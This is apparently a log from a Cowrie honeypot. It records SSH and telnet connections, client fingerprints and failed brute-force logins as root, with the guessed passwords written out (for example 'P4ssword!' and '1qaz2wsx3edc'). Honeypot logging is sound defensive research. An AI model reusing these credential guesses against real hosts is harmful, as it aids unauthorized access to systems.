{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2022","message":"login attempt [root/Admin#2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:20.087515Z","src_ip":"165.154.227.158","session":"d10cb2415626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:21.306820Z","src_ip":"165.154.227.158","session":"d10cb2415626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00587773323059,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:26.497082Z","src_ip":"152.42.224.71","session":"ee2e00943c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05da0cff027","protocol":"telnet","message":"New connection: 152.42.224.71:43304 (10.17.0.5:23) [session: a05da0cff027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:29.365071Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43312,"dst_ip":"10.17.0.5","dst_port":23,"session":"1caba4de700e","protocol":"telnet","message":"New connection: 152.42.224.71:43312 (10.17.0.5:23) [session: 1caba4de700e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:30.531264Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40234,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8a2a035cd3","protocol":"telnet","message":"New connection: 152.42.224.71:40234 (10.17.0.5:23) [session: ea8a2a035cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:38.750752Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":52942,"dst_ip":"10.17.0.5","dst_port":22,"session":"56983b4bbdcb","protocol":"ssh","message":"New connection: 117.121.214.50:52942 (10.17.0.5:22) [session: 56983b4bbdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:47.109284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:47.114006Z","src_ip":"117.121.214.50","session":"56983b4bbdcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:47.366292Z","src_ip":"117.121.214.50","session":"56983b4bbdcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:48.412182Z","src_ip":"117.121.214.50","session":"56983b4bbdcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:49.666695Z","src_ip":"117.121.214.50","session":"56983b4bbdcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36110,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ee8c80b7a9","protocol":"telnet","message":"New connection: 152.42.224.71:36110 (10.17.0.5:23) [session: 91ee8c80b7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:50.096003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc734c0c32c","protocol":"telnet","message":"New connection: 152.42.224.71:36116 (10.17.0.5:23) [session: 6cc734c0c32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:52.458203Z"}
{"eventid":"cowrie.session.closed","duration":39.86921262741089,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:52.588732Z","src_ip":"152.42.224.71","session":"6e940e0b1c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00387167930603,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:55.158541Z","src_ip":"152.42.224.71","session":"77d00faf231a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":53472,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e2c96827ca9","protocol":"ssh","message":"New connection: 43.135.139.74:53472 (10.17.0.5:22) [session: 6e2c96827ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:55.547308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:55.552055Z","src_ip":"43.135.139.74","session":"6e2c96827ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:55.620609Z","src_ip":"43.135.139.74","session":"6e2c96827ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:55.924944Z","src_ip":"43.135.139.74","session":"6e2c96827ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:56.996201Z","src_ip":"43.135.139.74","session":"6e2c96827ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":60638,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ef8a8e3e158","protocol":"ssh","message":"New connection: 52.236.56.129:60638 (10.17.0.5:22) [session: 1ef8a8e3e158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:58.202435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:58.207591Z","src_ip":"52.236.56.129","session":"1ef8a8e3e158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:58.274997Z","src_ip":"52.236.56.129","session":"1ef8a8e3e158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xela","message":"login attempt [root/xela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:58.574940Z","src_ip":"52.236.56.129","session":"1ef8a8e3e158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:35:59.645255Z","src_ip":"52.236.56.129","session":"1ef8a8e3e158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":36406,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bc8ac9955d","protocol":"ssh","message":"New connection: 166.1.144.134:36406 (10.17.0.5:22) [session: 60bc8ac9955d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:01.552013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:01.557906Z","src_ip":"166.1.144.134","session":"60bc8ac9955d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:01.655833Z","src_ip":"166.1.144.134","session":"60bc8ac9955d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xela","message":"login attempt [root/xela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:02.055146Z","src_ip":"166.1.144.134","session":"60bc8ac9955d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:03.161322Z","src_ip":"166.1.144.134","session":"60bc8ac9955d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49494,"dst_ip":"10.17.0.5","dst_port":23,"session":"7635bda0f063","protocol":"telnet","message":"New connection: 152.42.224.71:49494 (10.17.0.5:23) [session: 7635bda0f063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:03.443984Z"}
{"eventid":"cowrie.session.closed","duration":120.00332307815552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:05.964970Z","src_ip":"152.42.224.71","session":"517115ff8e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":51408,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbdc8b545c1a","protocol":"ssh","message":"New connection: 119.96.193.72:51408 (10.17.0.5:22) [session: dbdc8b545c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:06.780478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:06.785302Z","src_ip":"119.96.193.72","session":"dbdc8b545c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:07.038406Z","src_ip":"119.96.193.72","session":"dbdc8b545c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49506,"dst_ip":"10.17.0.5","dst_port":23,"session":"35a6203c0a5e","protocol":"telnet","message":"New connection: 152.42.224.71:49506 (10.17.0.5:23) [session: 35a6203c0a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:07.473788Z"}
{"eventid":"cowrie.session.closed","duration":37.50724172592163,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:08.038371Z","src_ip":"152.42.224.71","session":"1caba4de700e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.438028573989868,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:08.188648Z","src_ip":"152.42.224.71","session":"ea8a2a035cd3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"spaceshuttle","message":"login attempt [root/spaceshuttle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:08.778169Z","src_ip":"119.96.193.72","session":"dbdc8b545c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34582,"dst_ip":"10.17.0.5","dst_port":23,"session":"77cb6d62dc0b","protocol":"telnet","message":"New connection: 152.42.224.71:34582 (10.17.0.5:23) [session: 77cb6d62dc0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:08.946194Z"}
{"eventid":"cowrie.session.closed","duration":112.33665895462036,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:09.721050Z","src_ip":"152.42.224.71","session":"e4016db57436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:10.032727Z","src_ip":"119.96.193.72","session":"dbdc8b545c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.27399158477783,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:15.530902Z","src_ip":"152.42.224.71","session":"0e73c5837441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56952,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd1c8bb89d7","protocol":"telnet","message":"New connection: 152.42.224.71:56952 (10.17.0.5:23) [session: 2fd1c8bb89d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:16.835794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56950,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b9ba9ec388","protocol":"telnet","message":"New connection: 152.42.224.71:56950 (10.17.0.5:23) [session: 41b9ba9ec388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:17.786500Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56958,"dst_ip":"10.17.0.5","dst_port":23,"session":"41af79dd6fe0","protocol":"telnet","message":"New connection: 152.42.224.71:56958 (10.17.0.5:23) [session: 41af79dd6fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:20.197321Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56962,"dst_ip":"10.17.0.5","dst_port":23,"session":"681a52840ac4","protocol":"telnet","message":"New connection: 152.42.224.71:56962 (10.17.0.5:23) [session: 681a52840ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:23.452190Z"}
{"eventid":"cowrie.session.closed","duration":120.00217151641846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:24.382292Z","src_ip":"152.42.224.71","session":"6cb8a49dd88d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56970,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda630c089d1","protocol":"telnet","message":"New connection: 152.42.224.71:56970 (10.17.0.5:23) [session: eda630c089d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:24.418172Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":37438,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25137f91e2c","protocol":"ssh","message":"New connection: 165.154.6.86:37438 (10.17.0.5:22) [session: f25137f91e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:24.601789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:24.606811Z","src_ip":"165.154.6.86","session":"f25137f91e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:24.824172Z","src_ip":"165.154.6.86","session":"f25137f91e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:25.726087Z","src_ip":"165.154.6.86","session":"f25137f91e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:36:26.947973Z","src_ip":"165.154.6.86","session":"f25137f91e2c","protocol":"ssh"}
